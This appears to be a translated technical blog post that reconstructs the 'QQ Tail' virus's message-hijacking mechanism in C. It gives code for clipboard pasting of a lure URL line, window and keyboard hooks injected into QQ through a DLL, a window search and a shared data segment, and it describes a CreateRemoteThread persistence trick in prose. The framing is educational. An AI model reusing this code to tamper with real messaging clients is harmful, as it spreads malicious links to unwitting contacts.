SoFunction
Updated on 2025-04-11

Implementation of core technology of QQ Tail Virus

In 2003, the QQ Tail Virus was a glorious for a while. It exploits IE's email header vulnerability to spread wildly on QQ. When a poisoned person sends a message to others, the virus will automatically add a sentence to the back of the message text. The contents of the words are diverse. In short, I hope that the recipient of the message will click on the URL in this sentence and become the next poisoned person.

What I will discuss below is the technology used by QQ Tail Virus. Since the source code of the virus cannot be obtained, the following code is all obtained by my subjective assumptions. Fortunately, the effect is basically the same as the virus itself.
Paste the tail

The first simple question is how to add text. There is no secret to this technology, it just "posted" a sentence to the QQ message through the clipboard. The code is as follows:
TCHAR g_str[] = "Welcome to my small station to sit:";
// Function function: paste the tail into the text box
void PasteText(HWND hRich)  
{  
  HGLOBAL hMem;  
  LPTSTR pStr;  
// Allocate memory space
  hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));  
  pStr = GlobalLock(hMem);  
  lstrcpy(pStr, g_str);  
  GlobalUnlock(hMem);  
  OpenClipboard(NULL);  
  EmptyClipboard();  
// Set the clipboard text
  SetClipboardData(CF_TEXT, hMem);  
  CloseClipboard();  
// Free up memory space
  GlobalFree(hMem);  
// Paste text
  SendMessage(hRich, WM_PASTE, 0, 0);  
}  

Hook

OK, then the question below is, when should this text be posted? There are some articles online that study the implementation of QQ tails pointing out that timers can be used to control the paste time, similar to this:
void CQQTailDlg::OnTimer(UINT nIDEvent)  
{  
  PasteText(hRich);  
}  
This is indeed a solution, but it also has great limitations - how to set the interval of the timer? Maybe the poisoned person is typing, and the tail text appears "swish"...
However, the virus itself is not like this. It can accurately paste the text when you click "Send" or press Ctrl+Enter. In January 2003, one of my P2s was poisoned. Because the system was slow, you can clearly see the timing of text pasting.
Having said that, the facts I stated will definitely make you, as a reader, say: hook! ——Yes, it’s the hook. What I’m talking about below is the technology of using hooks to truly reproduce the “QQ tail virus”.
First, I will give a brief introduction to hook. Friends who are already familiar with hook can skip this paragraph. The so-called Win32 hook is not the artificially reproduced arm of the captain of the iron hook, but a subprogram that can be used to monitor and detect specific messages in the system and complete some specific functions. For example, your program is the emperor, and the Windows system acts as the governor of various provinces; as for hooks, it can be regarded as an imperial envoy of the emperor. For example, the emperor issued an order to collect taxes across the country, and then sent an imperial envoy to find the governor of Shanxi and said, "The emperor has an order. In addition to normal taxes, Shanxi will collect ten jars of wine in Xinghua Village." (-_-#...) Just as the emperor can use this method to treat specific governors in particular, programmers can also use hooks to capture and process specific messages in the Windows system.
The problem is specifically about "QQ Tail Virus", which means that we need a hook to paste our text after the user clicks the "Send" button. The hook process I implemented is (as for how to hook this hook, I will explain it later):
// Hook process, monitoring the command message "sent"
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)  
{  
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;  
//Capture the "Send" button
  if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)  
  PasteText(g_hRich);  
  return CallNextHookEx(g_hProc, nCode, wParam, lParam);  
}  
Here I will explain a few points about this callback process:
1. lParam is a pointer to the CWPSTRUCT structure. The description of this structure is as follows:
typedef struct {  
  LPARAM lParam;  
  WPARAM wParam;  
  UINT message;  
  HWND hwnd;  
} CWPSTRUCT, *PCWPSTRUCT;  
At this time, SDK fans like me may smile knowingly: Are these four hardcore parameters for window callbacks? As you said, it is true, you can even use a hook function written in code like switch (p->message) { /* ...*/ } to take over the QQ window in full.
2. g_hRich is a global variable that saves the handle of the QQ message text box. The reason for using global variables here is that I can't get this handle from the parameters of the keyboard hook callback function. As for how to get this handle and the special location of this global variable, I will explain it later.
3. CallNextHookEx is the next process in the call hook chain. If the imperial envoy is replaced, he will say: "The imperial envoy of the Xintan Xinghua Village Jiuben has already received it for the emperor. Now please ask the governor to pay the normal taxes of your province." (-_-#...) This is a very important link in the writing hook function. If this sentence is missing, it may cause errors in the hook chain of the system, and some programs will not respond - in fact, when I wrote this simulation program, QQ was dismissed several times.
4. You may ask why I captured the WM_COMMAND message. This reason asked me to use the following SDK code (although QQ is written in MFC, the SDK code can only explain the relationship between WM_COMMAND and the "Send" button) to explain:
#define IDC_BTN_SENDMSG 1 // The macro definition of the “Send” button ID
// QQ message sending dialog callback process·Li Ma forged version
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)  
{  
  switch (Msg)  
  {  
  case WM_CLOSE:  
  EndDialog(hDlg, 0);  
  break;  
  case WM_COMMAND:  
  {  
 switch (LOWORD(wParam))  
 {  
 case IDC_BTN_SENDMSG:  
// Send a message...
  break;  
// Other command button processing parts...
  }  
  }  
  break;  
// Other case parts...
  }  
  return 0;  
}  
The entire process of sending a message is: when the user clicks the "Send" button, the parent window of this button (that is, the dialog box for sending a message) will receive a WM_COMMAND notification message, where the low word of wParam (i.e. LOWORD(wParam)) is the ID of this button, and then the sent part in the code is called. This process is as follows:

So, here I am catching the WM_COMMAND message much more efficient than catching other messages or hiding the mouse hook.
OK, now this hook can complete the task successfully. But please don't forget: more users prefer to use the "Ctrl+Enter" hotkey to send messages, so a keyboard hook is also needed to hang in the program:
// The keyboard hook process monitors the "send" hotkey messages
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)  
{  
//Capture hotkey messages
  if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)  
  PasteText(g_hRich);  
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);  
}  
The only point to be explained here is the lParam >= 0 clause. It is obvious that this if judgment is to judge the input of the hotkey Ctrl+Enter, so what is lParam >= 0? In fact, in the callback of the keyboard hook, lParam is a very important parameter, which contains information about the number of keystrokes, scan code, extended key flag, etc. The highest bit of lParam (0x80000000) indicates whether the key is currently being pressed. If this bit is being pressed, this bit is 0, otherwise it is 1. So lParam >= 0 means calling PasteText when WM_KEYDOWN, that is, if this condition is removed, PasteText will be called twice (along with one of WM_KEYUP).

Hook and search window

The next thing is how to hook these two hooks. For hooking hooks, the problem to be solved is: where to hook the hooks and how to hook them?
The target of hooking the hook must be the thread to which the QQ "Send Message" window belongs. My code is to pass in the handle of this window to hook up the hook:
//Hang hook
BOOL WINAPI SetHook(HWND hQQ)  
{  
  BOOL bRet = FALSE;  
  if (hQQ != NULL)  
  {  
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);  
// Thanks to my friend Hottey for searching the code, which saves me the trouble of using Spy++
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);  
  if (g_hRich == NULL)  
 return FALSE;  
//Hang hook
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);  
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);  
  bRet = (g_hProc != NULL) && (g_hKey != NULL);  
  }  
  else  
  {  
// Uninstall hook
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);  
  g_hProc = NULL;  
  g_hKey = NULL;  
  g_hRich = NULL;  
  }  
  return bRet;  
}  
Up to this point, all the above codes are located in a dynamic link library. I won’t introduce them much about DLL. Please check the relevant information on MSDN and the supporting source code of this article.
All important work has been done in the DLL (in fact, this part of the work can only be done by the DLL, which is determined by the Windows virtual memory mechanism). We only need to call the exported SetHook function in EXE. So, how to obtain the parameters of SetHook? Please see the following code:
// Thanks to my friend Hottey for searching the code, which saves me the trouble of using Spy++
HWND hSend;  
g_hQQ = NULL;  
SetHook(NULL);  
do  
{  
  g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);  
hSend = FindWindowEx(g_hQQ, NULL, "Button", "Send(&S)");
} while(g_hQQ != NULL && hSend == NULL);  
if (g_hQQ != NULL)  
  SetHook(g_hQQ);  
The do-while loop in this code is used to find the window for "sending messages". The confidentiality of QQ windows is getting stronger and stronger. The windows are layer by layer, which is very inconvenient to find them. So I would like to thank my friend Hottey for his article "QQ Message Blasting. Random Thoughts" to save me the trouble of repeatedly using Spy++. What I did was just translate the Delphi code in his article into C code.

Shared data segment of DLL

If you don't know much about DLL, then after you read my supporting source code, you will definitely have some questions about the following code:
// Define shared data segment
#pragma data_seg("shared")  
HHOOK g_hProc = NULL; // Window process hook handle
HHOOK g_hKey = NULL; // Keyboard hook handle
HWND g_hRich = NULL; // Text box handle
#pragma data_seg()  
#pragma comment(linker, "/section:shared,rws")  
This defines a shared data segment. Yes, because my comments are already written very clearly, so what does the shared data segment play? Before answering this question, I ask you to comment out the preprocessing directive starting with # in the code and recompile the DLL and run it. What will you find?
Yes, adding tail failed!
OK, let me explain this question. The main program of our simulation program's EXE, DLL and QQ are actually the following relationship:

This DLL needs to map an instance to the address space of the EXE for its call, and also needs to map another instance to the address space of the QQ to complete the hook work. In other words, after the hook is hooked, there are two DLL instances in the entire system module! This DLL is not that DLL, so there is no connection between them. Take the global variable g_hRich as an example. The DLL on the left in the figure obtains the handle of the text box through the EXE incoming. However, if there is no shared segment, then in the DLL on the right, g_hRich is still NULL. The meaning of the sharing segment here is reflected, which is to ensure the connection between EXE, DLL and QQ. This is somewhat similar to the static member variables in C++.
After the hook is successfully hooked, you can look through some process managers with module viewing function and you will find that it is also located in the module.

The last thing to say

1. I said before that I encountered this virus in January 2003. I still remember very clearly that the virus EXE is only 16KB in size, so from the nature of the virus itself, it would be more practical to write this thing with Win32ASM.
2. I used to kill that virus by hand - I killed it with a process viewing tool. But now the "QQ Tail" has added a resurrection function - after the EXE is killed, the DLL will wake it up. I have used my process viewing tool to analyze it and found that almost all processes in the system are caught by the virus DLL. This technology uses CreateRemoteThread to insert an additional resurrection thread on all processes, which is really a killing of two birds with one stone - ensuring that EXE runs forever, and the DLL in use cannot be deleted. I have implemented this technology, but its stability is far less excellent than the virus itself, so I won't write it out here. Interested friends can refer to the relevant chapters of Jeffrey Richter's "Windows Core Programming".
3. At this point, I remembered a sentence from Teacher Hou Jie's "Study Analysis of STL Source Code" - "Before the source code, there is no secret." If you also feel this way after reading this article, then I will feel very honored.